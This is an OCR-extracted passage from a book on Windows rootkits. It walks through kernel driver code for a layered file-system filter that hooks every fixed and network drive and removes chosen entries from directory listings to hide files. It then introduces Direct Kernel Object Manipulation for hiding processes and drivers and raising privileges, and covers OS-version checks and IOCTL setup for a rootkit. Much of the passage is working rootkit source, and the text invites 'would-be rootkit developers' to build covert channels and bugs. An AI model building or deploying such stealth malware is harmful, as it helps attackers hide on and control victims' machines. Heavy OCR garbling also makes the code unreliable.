Layered drivers can be applied to many targets, not the least of which isthe file system. A layered driver
for thefile system is actually quite complex, mostly because the file-system mechanisms offered by
Windows arefairly robust.

Thefile systemis of specia interest to rootkits for stealth reasons. Many rootkits need to storefilesin
the file system, and these must remain hidden. We can use hooks like those covered in Chapter 4 to hide
files, but that technique is easy to detect. Also, hooking the System Service Descriptor Table (SSDT)
will not hidefiles or directoriesif they are mounted over an SMB share. Here we'll discuss a better
approach, alayered driver that can hide files[4]

(4 We discuss the approach in theory here. The source code is not available for download.

Well start by taking alook at the DriverEntry routine:

NTSTATUS
DriverEntry(
I N PDRI VER_OBJECT Dri ver Obj ect,

I N PUNI CODE_STRI NG Regi st ryPat h

)

for( i =0; i <= |RP_MJ_MAXI MUM FUNCTI ON; i ++ )

Driver Qbj ect - >Maj or Function[i] = QurDi spatch;

}
Driver oj ect - >Fast | oD spat ch = &Qur Fast | CHook;

Within the DriverEntry routine, we set up the MajorFunction array to point to our dispatch routine. In
addition, we set up a Fastl o dispatch table. Here we see something unique to file-system drivers. Fastlo
Is another method by which file-system drivers can communicate.



Once the dispatch table isin place, we then must hook the drives. We call a function, HookDriveSet,[®]
to install hooks on all available drive |etters:

(51 The HookDrive and HookDriveSet functions were originally adapted from the released source code of filemon, atool
available at www.sysinternals.com . This code was modified a great deal, and runstotally in the kernel. The source code
for Filemon is no longer available for download from Sysinternals.

DWORD d_hDrives = 0;
[/ Initialize the drives we will hook.
for (i =0; i < 26; i++)
Dri veHookDevi ces[i] = NULL;
DrivesToHook = O;
nt Status = GetDrivesToHook(&d hDrives);
i f (! NT_SUCCESS( nt St atus))

return ntStatus,;

HookDri veSet (d_hDrives, DriverQbject);

Here isthe code to get the list of drivesto hook:

NTSTATUS Get Dri vesToHook( DWORD *d_hookDri ves)
{
NTSTATUS nt st at us;
PROCESS DEVI CEMAP_I NFORVATI ON s_devMap;
DWORD MaxDriveSet, CurDriveSet;
int drive;
i f (d_hookDrives == NULL)

return STATUS_UNSUCCESSFUL,;



Note the use of the magic handle for the current process:

ntstatus = ZwQueryl nformati onProcess((HANDLE) Oxffffffff,
ProcessDevi ceMap,
&s_devMap,
si zeof (s_devMap),
NULL) ;
I f (! NT_SUCCESS( ntstatus))
return ntstatus;

/] Get avail able drives we can nonitor.

MaxDr i veSet s_devMap. Query. Dri veMap;

Cur Dri veSet

MaxDri veSet ;

for ( drive

{

0; drive < 32; ++drive )

if ( MaxDriveSet & (1 << drive) )

{
switch (s_devMap. Query. DriveType[drive])
{

We start off with drives we want to skip:

/'l W don't |ike these: renmpve them
case DRI VE_UNKNOWN: // The drive type cannot be determ ned.
case DRIVE_ NO ROOT DIR // The root directory does not exist.
CurDriveSet & ~(1 << drive);

br eak:



/1 The drive can be renoved fromthe drive.
/1 Doesn't nake sense to put hidden files on
/1l a renovabl e drive because we will not
/'l necessarily control the conputer that the
/] drive is nounted on next.
case DRI VE_REMOVABLE:
CurDriveSet &= ~(1 << drive);
br eak;
/[l The drive is a CD-ROM dri ve.
case DRI VE_CDROM
CurDriveSet & ~(1 << drive);

br eak;

We will hook the following drives; DRIVE_FIXED, DRIVE_REMOTE, and DRIVE_RAMDISK.

The code continues:

}

*d_hookDrives = CurDriveSet;

return ntstatus;

The code to hook the drive set follows:



ULONG HookDriveSet (I N ULONG DriveSet,

| N PDRI VER OBJECT Dri ver Obj ect)

{
PHOOK _EXTENSI ON hookExt ;
ULONG drive, i;
ULONG bit;

/'l Scan the drive table, looking for hits on the DriveSet bitnmask.
for ( drive = 0; drive < 26; ++drive )
{
bit =1 << drive;
/'l Are we supposed to hook this drive?

if( (bit & DriveSet) && !(bit & DrivesToHook))

{

i f( !'HookDrive( drive, DriverCbject ))

{
/'l Renove fromdrive set if can't be hooked.
DriveSet &= ~bit;

}

el se

{
/1l Hook drives in sane drive group.
for( i =0; i < 26; i++)
{

i f( DriveHookDevices[i] ==
Dri veHookDevi ces[ drive ] )

{



DriveSet |= ( 1<<i );

}
}
}
}
else if( !'(bit & DriveSet) && (bit & DrivesToHook) )
{
/'l Unhook this drive and all in the group.
for( i =0; i< 26; i++)
{
i f( DriveHookDevices[i] == DriveHookDevices[ drive ] )
{

UnhookDrive( i1 );

DriveSet & ~(1 << i);

}

/'l Return set of drives currently hooked.
DrivesToHook = DriveSet;

return DriveSet;

The code to hook and unhook individual drives follows:



VO D UnhookDrive(lI N ULONG Drive)

{
PHOOK_EXTENSI ON hookExt ;

Here is where we unhook any hooked drives:

i f( DriveHookDevices[Drive] )

hookExt = DriveHookDevi ces[ Drive]->Devi ceExt ensi on;

hook Ext - >Hooked = FALSE;

}
BOOLEAN HookDrive(l N ULONG Drive, | N PDRI VER _OBJECT Driver Object)

{
| O STATUS BLOCK i oSt at us;
HANDL E nt Fi | eHandl e;
OBJECT _ATTRI BUTES object Attri butes;
PDEVI CE_ OBJECT fil eSysDevi ce;
PDEVI CE_OBJECT  hookDevi ce;
UNI CODE_STRING fil eNaneUni codeStri ng;

PFI LE_FS_ATTRI BUTE_| NFORVATI ON fil eFsAttri butes;

ULONG fileFsAttri butesSi ze;
WCHAR filenanme[] = L"\\DosDevices\\A\\";
NTSTATUS nt St at us;

ULONG I



PFI LE_OBJECT fil eObject;
PHOOK _EXTENSI ON  hookExt ensi on;
if( Drive >= 26 )
return FALSE; // Illegal drive letter
/] Test whether we have hooked this drive.
i f( DriveHookDevices[Drive] == NULL )
{

filenane[12] = (CHAR) (' A +Drive);// Set up drive nane.

Here is where we open the volume's root directory:

Rtl1nitUnicodeString(&fileNameUni codeString, filenane);
InitializeCbjectAttributes(&objectAttributes, &fileNaneUnicodeStrii
OBJ_CASE | NSENSI TI VE, NULL, NULL);

nt Status = ZwCr eat eFi | e( &t Fi | eHandl e,

SYNCHRONI ZE| FI LE_ANY_ACCESS,

&obj ect Attri butes,

& oSt at us,

NULL,

0,

FI LE_SHARE_READ| FI LE_SHARE V\RI TE,

FI LE_OPEN,

FI LE_SYNCHRONOUS | O NONALERT | FI LE_DI RECT!

NULL,

0);



i f( !'NT_SUCCESS( ntStatus ))

{

If the program was unable to open the drive, it returns "false":

return FALSE;
}

/1 Use file handle to | ook up the file object.

/1 1f this is successful,

/1 we must eventually decrenent the file object.

nt St at us = bRef erence(bj ect ByHandl e( nt Fi | eHandl e,
FI LE_READ DATA,
NULL,
Ker nel Mode,
&f il elbject,
NULL) ;

i f( !'NT_SUCCESS( ntStatus ))

If the program could not get the file object from the handle, it returns "false":

ZwWCl ose( ntFileHandl e );

return FALSE;

}
/1 Get the Device Ohject fromthe File (Object.



fileSysDevice = | 0oCGet Rel at edDevi ceObj ect( fil eCbhject );

if(!fileSysDevice)

If the program was not able to get the device object, it returns "false”:

/1

/1

I

I

Il

/1

Il

/11

11

/1

/1

/1

QoDer ef erenceCbj ect( fil eCbject );

ZwWCl ose( ntFileHandl e );

return FALSE
}
Check the device list to see if we've already
attached to this particul ar devi ce.
Thi s can happen when nore than one drive letter
I s being handl ed by the sane network
redirector.

for( i =0; I < 26; i++)

i f( DriveHookDevices[i] == fil eSysDevice )
{
If we're already watching it,
associate this drive letter
with the others that are handl ed
by the sane network driver. This
enables us to intelligently update
t he hooki ng nenus when the user

specifies that one of the



/'l group should not be watched - we mark all

[l of the related drives as unwatched as well.
obDer ef erenceoj ect (fil eCbj ect);
ZwWCl ose(nt Fi | eHandl e) ;
Dri veHookDevices[ Drive ] = fil eSysDevi ce;

return TRUE;

}

/1 The file system s device hasn't been

/'l hooked al ready, so nmake a hooki ng device

/1l object that will be attached to it.

nt Status = | oCreateDevi ce(Driver Qbj ect,

si zeof ( HOOK_EXTENSI ON) ,
NULL,
fil eSysDevi ce->Devi ceType,
fil eSysDevi ce->Characteristics,
FALSE,
&hookDevi ce) ;

i f(!NT_SUCCESS(nt St at us))

If the program could not create the associated device, it returns "false”:

QoDer ef erenceCbj ect( fil eCbject );
ZwWCl ose( ntFileHandl e );

return FALSE;



}

/1 Clear the device's init flag.
/1 1f we do not clear this flag, it is speculated no one el se
/'l would be able to | ayer on top of us. This may be a usefu
/] feature in the future!

hookDevi ce- >Fl ags &= ~DO DEVI CE | NI TI ALI ZI NG

hookDevi ce->Fl ags | = (fil eSysDevi ce->Fl ags & (DO _BUFFERED | O | DO I
/1 Set up the device extensions. The drive letter
/1 and file system object are stored
/1 in the extension.

hookExt ensi on = hookDevi ce- >Devi ceExt ensi on;

hookExt ensi on->Logi cal Drive = ' A +Drive;

hookExt ensi on->Fi | eSystem = fil eSysDevi ce;

hookExt ensi on- >Hooked = TRUE;

hookExt ensi on- >Type = STANDARD
/'l Finally, attach to the device. As soon as
/'l we're successfully attached, we may start
/'l receiving IRPs targeted at the device we' ve hooked.

nt Status = | oAttachDevi ceByPoi nt er (hookDevi ce,

fileSysDevice);
i f(!NT_SUCCESS(nt St at us))
{
ObDer ef erenceQoj ect (fil eObj ect);
ZwCl ose(nt Fi | eHandl e) ;

return FALSE



/1
/| Determ ne whether this is an NTFS drive.
/11
fileFsAttributesSize =
si zeof ( FI LE_FS_ATTRI BUTE_ I NFORVATI ON) + MAXPATHLEN;
hookExt ensi on- >FsAttri butes =
( PFI LE_FS_ATTRI BUTE_| NFORMATI ON)
ExAl | ocat ePool (NonPagedPool , fil eFsAttri butesSi ze);
i f (hookExt ensi on->FsAttributes && ! NT_SUCCESS(
| oQueryVol unel nformation( fileCbject, FileFsAttributelnformation,
fileFsAttributesSi ze,
hookExt ensi on- >FsAttri but es,

& il eFsAttributesSize )))

/11
/[l On failure, we just don't have
/] attributes for this file system
/1
ExFr eePool ( hookExt ensi on->FsAttributes );

hookExt ensi on->FsAttri butes = NULL:

/11

/Il Close the file and update the

/'l hooked drive list by entering a

/'l pointer to the hook device object init.

Il



QobDer ef erenceChj ect( fileCbject );
ZWCl ose( ntFileHandl e );
Dri veHookDevi ces[ Dri ve] = hookDevi ce;

}

el se// This drive is already hooked.

{

hookExt ensi on = Dri veHookDevi ces[ Dri ve] - >Devi ceExt ensi on;

hookExt ensi on- >Hooked = TRUE;

}

return TRUE;

Our dispatch routine is standard:

NTSTATUS Qur Fil terDi spatch(1 N PDEVI CE_OBJECT Devi ce(bj ect,

IN PIRP I1p)

{

Pl O STACK LOCATI ON currentlrpStack;

currentlrpStack = loGetCurrentlrpStackLocation(lrp);

| oCopyCurrent|rpStackLocati onToNext (Irp);

Hereisthe most important part of our dispatch routine. Thisiswhere we set the 1/0O completion routine.
Thisroutine will be called once the IRP has been processed by lower-level drivers. All of thefiltering
will occur in the completion routine.



| oSet Conpl eti onRoutine( Irp, QurFilterHookDone, NULL, TRUE, TRUE, FALSI

return loCallDriver( hookExt->FileSystem Irp );

}

Here is the most important routine: the completion routine. As previously mentioned, all of the filtering
occursin thisroutine.

NTSTATUS

Qur Fi | t er HookDone(
I N PDEVI CE_OBJECT Devi cej ect,
IN PIRP Irp,

IN PVAO D Cont ext

)

IrpSp = loGetCurrentlrpStackLocation( Irp );

We check for adirectory query here. We also make sure we are running at PASSIVE_LEVEL.

I f(1rpSp->Maj or Function == | RP_MI_DI RECTORY_CONTROL

&& 1 rpSp->M nor Function == | RP_VMN_QUERY_DI RECTORY

&% KeGet Currentlrqgl () == PASSI VE LEVEL

&& | rpSp->Paraneters. QueryDirectory. Fil el nformati onC ass ==

Fi | eBot hDi rect oryl nformati on

)



PFI LE BOTH DI R_| NFORMATI ON vol atil e QueryBuffer = NULL;

PFI LE_ BOTH DI R_| NFORMATI ON vol atil e NextBuffer = NULL;
ULONG buf f er Lengt h;

DWORD total size = 0O;

BOOLEAN hi de_ne = FALSE;

BOOLEAN reset = FALSE;

ULONG size = 0;

ULONG iteration = O;

QueryBuffer = (PFILE_BOTH DI R | NFORVATI ON) | rp->UserBuffer;
bufferLength = Irp->loStatus. | nformation;

i f(bufferLength > 0)

do

DbgPrint ("Fi |l enane: %ws\n", QueryBuffer->FileNane);

Hereiswhere the rootkit can parse the file name and determine whether it wishes to hide thefile. File
names to hide can be preset and loaded in alist, or they can be based on substrings (as with the popular
prefix method, where afile will be hidden if its name has a specified set of prefix characters, or
aternatively, aspecid file extension). We leave the method as an exercise for the reader. Here we
assume we want to hide the file, so we set aflag indicating this:

hi de_nme = TRUE;

If therootkit isto hide afile, it must modify the QueryBuffer accordingly, removing the associated file



entry. The rootkit must handle things differently depending on whether the entry isthefirst, amiddle, or
thelast entry.

if(hide_nme && iteration == 0)

{

This point isreached if the first file in the list needs to be hidden. Next, the program checks to determine
whether thisisthe only entry in the list:

i f ((IrpSp->Flags == SL_RETURN_SI NGLE_ENTRY) | |
(QueryBuffer->NextEntryOifset == 0))

{

This point has been reached if the entry isthe only onein the list. We zero out the query buffer and
report that we are returning zero bytes.

Rt | Zer oMenory( QueryBuf fer, sizeof (FILE BOTH DI R | NFORVATI ON) ) ;

total _size = 0;

el se

This point is reached if more entries follow the first. We fix the total size we are returning, and remove
the offending entry.

total _size -= QueryBuffer->NextEntryOfset;

tenp = EXAl | ocat ePool (PagedPool , total size);



if (tenmp !'= NULL)
{
Rt | CopyMenory(tenp, ((PBYTE)QueryBuffer + QueryBuffer->NextEntli
total size);
Rt | ZeroMenory( QueryBuffer, total _size + QueryBuffer->NextEntry
Rt | CopyMenory(QueryBuffer, tenp, total size);

ExFr eePool (tenp);

We set aflag to indicate we have already fixed the QueryBuffer:

reset = TRUE;

}
else if ((iteration > 0) &% (QueryBuffer->NextEntryOifset != 0)

&& (hi de_ne))

{

Thispoint isreached if we are hiding an element that's in the middle of the list. The program snips out
the entry and correct the size to return.

size = ((PBYTE) inputBuffer + Irp->loStatus.|nfornmation) -
(PBYTE) QueryBuffer - QueryBuffer->NextEntryCOfset;

tenp = EXAl | ocat ePool (PagedPool , size);

I f (tenp !'= NULL)

{



Rt | CopyMenory(tenp, ((PBYTE)QueryBuffer + QueryBuffer->NextEntryd
total _size -= QueryBuffer->NextEntryOfset;

Rt | Zer oMenory( QueryBuffer, size + QueryBuffer->NextEntryOifset);
Rt | CopyMenory( QueryBuffer, tenp, size);

ExFr eePool (tenp);

Again, we set the reset flag to indicate we have already fixed the QueryBuffer:

reset = TRUE;
}
else if ((iteration > 0) && (QueryBuffer->NextEntryOfset == 0)
&& (hide_ne))

{

This point isreached if we are hiding the last entry in the list. Snipping the entry is much easier in this
case, asit issimply removed from the end of the linked list. We don't treat this as areset of the
QueryBuffer.

size = ((PBYTE) inputBuffer + Irp->loStatus.Information) - (PBYTE) ¢
Next Buf f er - >Next EntryOhf set = 0O;

total size -= size;

The rootkit then moves on to the next entry, if the buffer hasn't already been fixed (which would indicate
that processing of thelist is complete):



iteration += 1,
if(!reset)
{
Next Buf fer = QueryBuffer;
QueryBuffer = (PFILE_BOTH DI R_| NFORVATI ON) (( PBYTE) Quer yBuf f er

+ QueryBuffer->NextEntryOifset);

}

}
whi | e( QueryBuffer !'= NextBuffer)

Once processing is complete, the total_size of the new QueryBuffer is set in the IRP:

| RP->] OSTATUS. | NFORVATI ON = TOTAL_SI ZE;

Now, the IRP is marked "pending,” if required:

i f( Irp->Pendi ngRet urned )

{
| oMar kl rpPending( Irp );

The status is returned:

return I rp->loStatus. Status;



When a Fastlo call occurs, the code takes a different route. First, we initialize the dispatch table for
Fastlo calls as a structure of function pointers:

FAST | O DI SPATCH Cur Fast | OHook = {
si zeof ( FAST_I O_DI SPATCH)
Fi | t er Fast | oChecki f Possi bl e,
Fi | t er Fast | oRead,
FilterFastl oWite,
Fi |l ter Fast | oQueryBasi cl nf o,
Fi |l t er Fast | oQuer ySt andar dl nf o,
Fi | ter Fast| oLock,
Fil ter Fast1 oUnl ockSi ngl e,
Fi |t er Fast |l oUnl ockAl |,
Fi |l ter Fast 1 oUnl ockAl | ByKey,
Fi | t er Fast | oDevi ceControl ,
Fil ter Fastl oAcquireFile,
Fi | t er Fast | oRel easeFi |l e,
Fi | ter Fast | oDet achDevi ce,
Fi | ter Fast | oQuer yNet wor kOQpenl nf o,
Fi |l ter Fast1l oAcqui reFor ModWi t e,
Fi |l t er Fast | oMll Read,
Fil ter Fast| oMll ReadConpl et e,
FilterFastl oPrepareMll Wite,

FilterFastl oMl WiteConplete,



Fi |l ter Fast | oReadConpr essed,

FilterFastl oWiteConpressed,

Fi | ter Fast | oMll ReadConpl et eConpr essed,
FilterFastl oMl Wit eConpl et eConpr essed,
Fi |l ter Fast| oQuer yQOpen,

Fi |t er Fast | oRel easeFor ModWi t e,

Fi | ter Fast 1 oAcqui r eFor CcFl ush,

Fi |l t er Fast | oRel easeFor CcFl ush

s

Each call passes through to the actual FastlO call. In other words, we are not filtering any of the FastlO
calls. Thisis because queries for the file and directory listings are not implemented as FastlO calls. The
pass-through calls use a macrol®l :

(6] The FASTIOPRESENT macro was written by Mark Russinovich for Filemon. The source code is no longer available
from Sysinternals.

#defi ne FASTI OPRESENT( _hookExt, _call ) \
(_hookExt - >Fi | eSyst em >Dri ver Obj ect - >Fast | oDi spatch && \
(((ULONG) & hookExt - >Fi | eSyst em >Dri ver Obj ect - >Fast | oDi spatch->_cal |
(ULONG & hookExt->Fil eSystem > Driver Qbj ect - >Fast| oDi spat ch-
>Si zeOr Fast | oDi spatch < '\
(ULONG _hookExt->Fi | eSyst em >Dri ver Cbj ect - >Fast | oDi spat ch-
>Si zeO Fast | oDi spatch )) && \

hookExt - >Fi | eSyst em >Dri ver Qbj ect - >Fast | oDi spatch-> call )

Hereis an example pass-through call. All such callsfollow a similar format. Each one must be defined,
but no actual filtering occurs within any of them. All of the fast I/O calls are documented in the
NTDDK.H fileor in the IFS kit (available from Microsoft).



BOCOLEAN
FilterFastloQueryStandardl nfo(
I N PFI LE_OBJECT Fil eObj ect,
| N BOOLEAN Wi t,
OUT PFI LE_STANDARD | NFORVATI ON Buf fer,
OQUT PI O STATUS BLOCK | oSt at us,

I N PDEVI CE_OBJECT Devi ce(bj ect

)

BOOLEAN retval = FALSE;
PHOOK _EXTENSI ON hook Ext ;
i f( !Deviceoject ) return FALSE;
hookExt = Devi ceObj ect - >Devi ceExt ensi on;
I f( FASTI OPRESENT( hookExt, FastloQueryStandardl nfo))
{
retval = hookExt->Fil eSystem >Dri ver Obj ect - >Fast | oD spat ch->
Fast |l oQuerySt andardlinfo( FileCbject, Wait, Buffer, |oStatus, hookExt->l

}

return retval ;

That concludesthe file-filter driver.

Depending on their features, file filters may be among the most complicated device driversto write
correctly. We hope this discussion has helped you understand the basics of how arootkit operates when
it performsfile-system filtering to hide files and directories. Thisone only hides files and directories, so
it isnot as complicated as some other file-system filters. For more information on file systems, we



recommend Nagar's book! ] .

[7] R. Nagar, Windows NT File System Internals: A Developer's Guide (Sebastopol, CA: O'Reilly & Associates, 1997).

Conclusion

Layering isareliable and robust way to intercept and modify datain the system. It can be used not only
for stealth, but also for data collection and modification. Adventurous readers and woul d-be rootkit
developers can expand on the examplesin this chapter to intercept or modify network data, create covert
channels, intercept or create video signals, and even create an audio bug.



Chapter 7. Direct Kernel Object
Manipulation

Generally in war the best policy isto take a state intact; to ruinit isinferior to this.
SuN Tzu

In the preceding chapters, we covered a great deal about hooking techniques. Hooking the operating
system isavery effective process, especialy since you cannot compile your rootkit into the
manufacturer's distribution. In certain instances, hooking is the only method available to arootkit
programmer.

However, aswe saw in earlier chapters, hooking has its drawbacks. If someone knows where to look, a
hook can usually be detected. In fact, it isrelatively easy to detect hooking. In Chapter 10, Rootkit
Detection, we will cover how to detect hooks, and you will learn about atool called VICE that does just
that. Also, kernel-protection mechanisms, such as making certain memory pages read only, either today
or in the future may make the hooking approach unusable.

In this chapter we discuss another technique that may serve your purposes. Direct Kernel Object
Manipulation (DKOM). Specificaly, you will learn how to modify some of the objects the kernel relies
upon for its bookkeeping and reporting. By the time you have finished this chapter, you should be able
to hide processes and drivers without installing any hooks.

Y ou will aso learn how to modify any process'stoken in order to gain System or Administrator
privileges without making a single call to any of the process or token APIs. Preventing this type of
attack isvery difficult.

(Note: In discussing DKOM, the term object can be used interchangeably with the more familiar term
structure. Object isthe term Microsoft usesin reference to the kernel structures.)



DKOM Benefits and Drawbacks

Before we get into the nitty-gritty of learning how to use DKOM techniques, it isimportant to
understand DKOM's benefits and its drawbacks. On the positive side, DKOM is extremely hard to
detect. Under normal circumstances, altering kernel objects such as processes or tokens requires going
through the Object Manager in the kernel. The Object Manager is the central point of accessto kernel
objects. It provides functionality common to all objects, such as creation, deletion, and protection. Direct
Kernel Object Manipulation bypasses the Object Manager, thereby bypassing all access checks on the
object.

However, DKOM has its own set of problems, one of whichisthat it is extremely fragile. Because of
thisfragility, before altering akernel object a programmer must understand severa things about the
object:

o What does the object look like, or what are the members of the structure? This can sometimes be
the most difficult question to answer. When most of the research began for this book, the only way
to answer this question was to spend alot of time working within Compuware's Softlce or another
debugger. Recently, Microsoft made thisjob alittle easier. Using WinDbg, which isfree for
download from Microsoft's Web site, you can display the object members by typing dt
nt!_Oobj ect _Nane. For example, to list all the members of the EPROCESS structure, type dt
nt ! _EPROCESS. Figuring out what Microsoft calls the object is still a problem, and not all objects
are "documented” in WinDbg.

« How does the kernel use the object? Y ou will not understand how or why to modify the object
until you understand how it is used by the kernel. Without a thorough understanding of how it is
used, you will undoubtedly make alot of incorrect assumptions about the object.

« Doesthe object change between major versions of the operating system (such as Windows 2000
and Windows XP), or between minor service-pack releases? Many of the objects you will use with
DKOM change between versions of the operating system. The objects are designed to be opaque to
the programmer, but since you will be modifying them directly, you must understand any such
changes and take them into account. Since you will not be working through any function call to
modify the objects, backward compatibility is not guaranteed.

« Whenisthe object used? We do not mean when in the temporal sense of the word, but rather, the
state of the operating system or machine when the object is used. Thisisimportant because certain
areas of memory and certain functions are not available at different Interrupt Request Levels
(IRQLS). For example, if athread isrunning at the DISPATCH_LEVEL IRQL, it cannot access
any memory that would cause a page fault in the kernel.

Another limitation of DKOM isthat you cannot use it to accomplish all of arootkit's purposes. Only the
objects that the kernel keeps in memory and uses for accounting purposes can be manipulated. For
example, the operating system keeps alist of all the processes running on the system. Aswe will seein
this chapter, these can be manipulated to hide processes. On the other hand, there is no object in memory
representing al the files on the file system. Therefore, DKOM cannot be used to hide files. More-
traditional methods, such as hooking or using alayered file filter driver, must be used to hide files.



(These techniques are covered in Chapters 4 and 6, respectively).

Despite these limitations, DKOM can be used to successfully accomplish the following:

Hide processes

Hide device drivers

Hide ports

Elevate athread's, and hence a process's, privilege level

o Skew forensics

Now that you are aware of DKOM's benefits and limitations, let's use the technique to modify some
kernel objects.



Determining the Version of the Operating System

Since kernel structures change between major versions of the operating system and, in rare cases,
between service packs, arootkit developer must be aware of the system version on which the rootkit will
run. The authors of this book believeit is poor form to use hard-coded addresses, or even offsets.
Instead, your code should adapt to its surroundings. The goal: Compile once, or at most twice, but run
everywhere!

If your rootkit has a user-maode portion, you can determine the operating system version in a userland
process using the Win32 APIs. Alternatively, you can determine the system version in the kernel.
Obvioudly, the former is much easier than the latter.

User-Mode Self-Determination

With the Win32 AP, it is very easy to determine what version of the operating system your rootkit is
installed upon. The structure used to retrieve thisinformation is called OSVERSIONINFO or
OSVERSIONINFOEX. It contains information about the major and minor versions of the operating
system. The EX version also specifies the magor and minor versions of service-pack level.

OSVERSIONINFO vs. OSVERSIONINFOEX

When planning to use either OSVERSIONINFO or OSVERSIONINFOEX to identify the operating-
system version, keep in mind that certain versions of Windows are not able to process the EX version of
the OSVERSIONINFO structure. The size member of the OSVERSIONINFO structure indicates which
version of the structure you are using. Y ou can make the same call to the GetVersionEx function in
either case. In the case of OSVERSIONINFO, you must parse the szCSDV ersion element of the
structure to determine the service-pack level.

The definition of the OSVERSIONINFOEX structure follows:

typedef struct _OSVERSI ONI NFOEX {
DWORD dwOSVer si onl nf oSi ze;
DWORD dwiaj or Ver si on;
DWORD dwM nor Ver si on;
DWORD dwBui | dNumnber ;

DWORD dwPl at f orm d;



TCHAR szCSDVer si on[ 128] ;
WORD wSer vi cePackMaj or ;
WORD wSer vi cePackM nor ;
WORD wSui t eMask;

BYTE wPr oduct Type;

BYTE wReser ved,;

} OSVERSI ONI NFOEX, *POSVERSI ONI NFCEX, *LPOSVERSI ONI NFOEX;

Declare a structure of thistype in your code and pass a pointer to this structure when you call the
GetVersionEx function. Here is the function prototype for GetV ersionEx:

BOOL GCet Ver si onEx( LPOSVERSI ONI NFO | pVersionlnfo );

After you have made this call, you should have identified the version of the operating system executing
your code.

The following code uses the OSVERSIONINFOEX in the call to GetV ersionEx to retrieve the major
version of the operating system and its service pack level:

voi d Det ermi neOSVer si on()
{
OSVERSI ONI NFOEX osvVi ;
/'l Setup the size of the structure
osvi . dwOSVer si onl nf 0Si ze = si zeof ( OSVERSI ONI NFCEX ) ;
i f (GetVersi onEx((OSVERSI ONI NFO *) &osvi))

{
switch (osvi.dwPl atform d)

{



[l Tests for Wndows NT product famly.
case VER PLATFORM W N32_NT:

/[l Test for the product.

if ( osvi.dwMhjorVersion == 4 && \

osvi . dwM nor Ver si on == 0)

fprintf(stderr, "Mcrosoft Wndows NT 4.0 ");
Il...
}
else if ( osvi.dw\hjorVersion == 5 && \
osvi . dwM norVersion == 0 && \

osVi . wSer vi cePackMaj or == 3)

{
fprintf(stderr, "Mcrosoft Wndows 2000 SP 3 ");
/...

}

br eak;

Once you know the version of the operating system your rootkit is running on, you can adjust the offsets
you will use with DKOM. The importance of thiswill become evident in the next section.

Kernel-Mode Self-Determination

The user-mode API s discussed in the preceding section are not the only way to find out the operating-
system version. The kernel also contains an API that provides access to version information. On ol der



Windows systems, you must call PsGetV ersion and parse the UNICODE string to obtain service-pack
information. Its function prototype follows:

BOOLEAN PsGet Ver si on(
PULONG Maj or Versi on  OPTI ONAL,
PULONG M nor Versi on OPTI ONAL,
PULONG Bui | dNunmber  OPTI ONAL,

PUNI CODE_STRI NG CSDVer si on  OPTI ONAL

Newer versions of the operating system, such as Windows XP and Windows 2003, support the API
function RtIGetVersion. It takes as a parameter a pointer to an OSVERSIONINFOW or
OSVERSIONINFOEXW, similar to the user-mode Win32 call discussed in the preceding section. The
function prototype of RtlGetVersion isamost exactly the same as the Win32 version. It is defined as:

NTSTATUS Rtl Get Version( I N OUT PRTL_OSVERSI ONI NFOW | pVer si onl nf or mat i o1

Querying the Operating System Version in the Registry

The Windows Registry holds agreat deal of valuable information. In fact, you can useit to find the
version of the operating system on which your rootkit isinstalled. Y ou can do this from user mode, or in
the kernel driver itself. Please note that if you decide to query the Registry in your device driver, part of
the Registry may not be available if your driver |loads and attempts to query the Registry early in the boot
process.

Here are the important keysto query:

« HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\CSDV ersion
contains the string for the service pack

« HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\CurrentBuildNumber contains the build number for the operating system

« HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\CurrentV ersion contains both the major and minor version of the kernel,



separated by adecimal

From user mode, you can query these keys once you have the appropriate handle by calling
RegQueryValue or RegQueryValueEx. The following code illustrates how to query these Registry keys
from adevicedriver:

/1 Query the Registry to get the operating system version.
RTL_QUERY REG STRY_TABLE par anirabl e[ 3] ;

UNI CODE_STRI NG ac_csdVer si on;

UNI CODE_STRI NG ac_current Ver si on;

[/ Initialize the vari abl es.

Rt | Zer oMenor y( par amlabl e, si zeof ( paraniabl e));

Rt | Zer oMenory( &ac_current Versi on, sizeof(ac_currentVersion));
Rt | Zer oMenory( &c_csdVer si on, sizeof (ac_csdVersion));

par anTabl e[ 0] . Fl ags = RTL_QUERY_REG STRY_DI RECT;

par anifabl e[ 0] . Nane = L" Current Version";

par anifabl e[ 0] . Ent ryCont ext = &ac_current Ver si on;

par anTabl e[ 0] . Def aul t Type REG SZ;

par aniTabl e[ 0] . Def aul t Dat a &ac_current Ver si on;

par anifabl e[ 0] . Def aul t Lengt h = si zeof (ac_current Versi on) ;
paramlabl e[ 1] . Fl ags = RTL_QUERY_REGQ STRY_DI RECT;

par anifabl e[ 1] . Nane = L" CSDVer si on";

par anlabl e[ 1] . Ent ryCont ext = &ac_csdVer si on;

par anlrabl e[ 1] . Def aul t Type REG Sz,

par aniTabl e[ 1] . Def aul t Dat a &ac_csdVer si on;

par anifabl e[ 1] . Def aul t Lengt h = si zeof (ac_csdVer si on);
/'l Query the Registry.

Rt | QueryRegi stryVal ues( RTL_REGQ STRY_W NDOA5_NT,



NULL,
par anrabl e,
NULL,
NULL );
/1 Do sonmething with the data here if the query is successful.
/1 This mght include initializing sonme global variables to
/|l store the service pack nunber, etc.
/'l Free the UNI CODE_STRI NGs created by the query.
Rt | FreeUni codeStri ng( &ac_current Ver si on);

Rt | FreeUni codeStri ng( &c_csdVer si on) ;

Asyou can see, you can determine the version of the operating system in many different ways. The
method you choose will depend on what type of rootkit you implement.

In the next section, we will show you how to communicate information such as version numbers from a
userland processto adriver.



Communicating with the Device Driver from Userland

If you are using a userland process to pass command and control information or initialization datato a
rootkit that is structured as a device driver, you will need to use I/O Control Codes (IOCTLS). These
control codes are carried in 1/0 request packets (IRPs) if the IRP codeis IRP_MJ DEVICE_CONTROL
orIRP_MJ INTERNAL_DEVICE_CONTROL.

Both your userland process and the driver must agree upon what the IOCTLs are. Thisistypically
accomplished with a shared .h file. The .h file would look something like this:

/'l Filename ioctlcnd. h used by a userland process
/'l and a driver to agree upon the I OCTLs. The user
/1l code and the driver code would inport this .h file.
#defi ne FI LE_DEV_DRV 0x00002a7b
FELTTEILE i i
/'l These are the | OCTLs agreed upon between the driver and the
/'l userland program The userland program sends the | OCTLs down to the
/1 using DeviceloControl ()
#define | OCTL_DRV_INIT (ULONG) CTL_CODE(FI LE_DEV_DRV, 0x01,
METHOD _BUFFERED,
FI LE_WRI TE_ACCESS)
